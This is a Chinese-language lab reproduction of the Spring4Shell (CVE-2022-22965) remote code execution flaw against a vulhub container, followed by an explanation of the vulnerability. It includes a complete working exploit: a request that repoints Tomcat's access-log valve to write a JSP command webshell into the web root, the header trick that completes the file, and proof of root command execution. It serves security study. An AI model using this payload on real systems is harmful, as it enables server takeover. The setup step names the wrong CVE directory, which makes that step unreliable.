本文聚焦于 Java 生态中极具破坏性的 Spring4Shell (CVE-2022-22965) 远程代码执行漏洞。该漏洞源于 Spring Framework 在参数绑定机制上的缺陷,允许攻击者通过精心构造的 HTTP 请求,绕过现有的黑名单限制,利用 JDK 9 及以上版本引入的模块化特性(Class Loader),实现对服务器端受限属性的改写。 通过对漏洞利用链的拆解,本文演示了攻击者如何劫持 Tomcat 的日志配置参数(AccessLogValve),在 Web 目录下生成一个持久化的 Webshell 后门,从而获取服务器的完全控制权。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2022-22965 | 9.8 | Spring Framework < 5.3.18、< 5.2.20,Spring Boot < 2.6.6、< 2.5.12 | 远程代码执行 (RCE) |
漏洞复现
复现环境准备
使用vulhub快速搭建漏洞环境:
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/spring/CVE-2022-22947
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
7fb0fecd0ed8 vulhub/spring-webmvc:5.3.17 "catalina.sh run" 4 minutes ago Up 4 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2022-22965-spring-1
访问http://target-IP:8080/,出现以下页面:

尝试加入参数/?name=test&age=18,发现页面内容发生了变化:

目标探测
端口扫描与服务识别
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP
# 扫描结果
PORT STATE SERVICE VERSION
8080/tcp open nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
MAC Address: 00:0C:29:B3:23:74 (VMware)
Spring 应用返回的 HTML 响应无/<title/>标签,且存在特殊请求处理逻辑,导致 nmap 脚本误判为 Nagios NSCA+HTTP 代理组合。
无害化 Payload 状态码对比
发送一个完全正常的请求,记录响应码:
┌──(kali㉿kali)-[~]
└─$ curl -i http://target-IP:8080/
HTTP/1.1 200
Set-Cookie: JSESSIONID=81FD917F820A801DEABA26295E09AB71; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Content-Length: 80
发送一个尝试访问 class.module.classLoader 的请求。因为这是一个复杂的对象路径,如果 Spring 允许访问但你没有提供正确的子属性,或者属性类型不匹配,服务器通常会抛出 400 Bad Request。
┌──(kali㉿kali)-[~]
└─$ curl -ig http://target-IP:8080/?class.module.classLoader.URLs[0]=test
HTTP/1.1 400
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 2070
发送 class.module.classLoader.URLs[0]=test 时,Spring 尝试按照给出的路径去寻找并修改 ClassLoader 中的 URLs 属性。因为 URLs[0] 期望接收的是一个 java.net.URL 对象,而你传入的是字符串 "test"。Spring 在进行类型转换时失败,抛出了异常并返回了 400 状态码。
如果目标没有漏洞(即补丁已修复或 JDK 版本不对),Spring 会直接忽略这个参数,返回正常的 200 OK。
攻击过程
执行攻击命令
向靶机发送 POST 请求,结果收到一个 HTTP 405 Method Not Allowed 错误。
┌──(root㉿kali)-[~]
└─$ curl -i -X POST -d "class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell" http://target-IP:8080/
HTTP/1.1 405
Allow: GET
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 750
看起来后端 Controller 方法仅允许 GET 请求。Spring 的参数绑定(PropertyBinder)只有在请求成功匹配到控制器方法时才会触发。因为方法不匹配,攻击请求在进入绑定阶段前就被拦截了。
由于 Spring 的属性绑定机制不区分请求方法,改用 GET 传参,这里使用 BurpSuite 发送请求:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc1%7Di%40%20page%20import%3D%22java.util.*%2Cjava.io.*%22%20%25%7Bc2%7Di%25%7Bc1%7Di%20if%20(request.getParameter(%22cmd%22)%20!%3D%20null)%20%7B%20Process%20p%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22))%3B%20DataInputStream%20dis%20%3D%20new%20DataInputStream(p.getInputStream())%3B%20String%20disLine%20%3D%20%22%22%3B%20while%20((disLine%20%3D%20dis.readLine())%20!%3D%20null)%20%7B%20out.println(disLine)%3B%20%7D%20%7D%20%25%7Bc2%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: target-IP:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672
Upgrade-Insecure-Requests: 1
Priority: u=0, i
在修改完配置后,必须通过带有特殊 Header 的请求去“填充”那些占位符,发送5-10次。因为tomcat 在写入日志时,看到配置文件里的 %{c1}i,就会去 Header 里找 c1 的值(即 <%)并写入文件。这样就绕过了 URL 编码对特殊字符的破坏。
GET / HTTP/1.1
Host: target-IP:8080
c1: <%
c2: %>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672
Upgrade-Insecure-Requests: 1
Priority: u=0, i
访问新生成的 shell.jsp ,已经可以正常显示 id :
──(root㉿kali)-[~]
└─$ curl "http://target-IP:8080/shell.jsp?cmd=id"
-@ page import="java.util.*,java.io.*" -- if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disLine = ""; while ((disLine = dis.readLine()) != null) { out.println(disLine); } } -
uid=0(root) gid=0(root) groups=0(root)
漏洞核心原理
Spring 的参数绑定
Spring MVC 为了方便开发,提供了一个核心功能:自动将 HTTP 请求中的参数(GET/POST)绑定到 Java 对象的属性上。当向接口发送 ?name=Alice&age=20 时,Spring 会通过反射调用后端 POJO 对象的 setName("Alice") 和 setAge(20)。这种绑定是递归的。如果对象中包含其他对象,你可以通过点号(.)一直向下访问。
JDK 9+ 的反射链绕过
JDK 9 引入了 Module(模块)化概念,在 Class 对象中增加了一个 getModule() 方法。攻击者发现了一条全新的路径:
class (获取当前类) -> module (获取模块) -> classLoader (获取类加载器)
由于 Spring 之前的黑名单只盯着 class.classLoader,却没料到通过 module 也能绕过去。
篡改 Tomcat 日志阀 (AccessLogValve)
这个组件负责记录访问日志。攻击者通过请求参数动态修改了它的四个关键属性,将其变成了一个“代码生成器”:
directory:将日志存放路径改到 Web 根目录(如webapps/ROOT)。prefix/suffix:将文件名改为.jsp结尾。pattern:这是最巧妙的地方。攻击者将日志的内容格式改为一段恶意 JSP 代码。
当攻击者发送完这个特殊的配置请求后,Tomcat 实际上变成了一个“只要有人访问,我就往 Web 目录写一个名为 shell.jsp 的文件”的机器。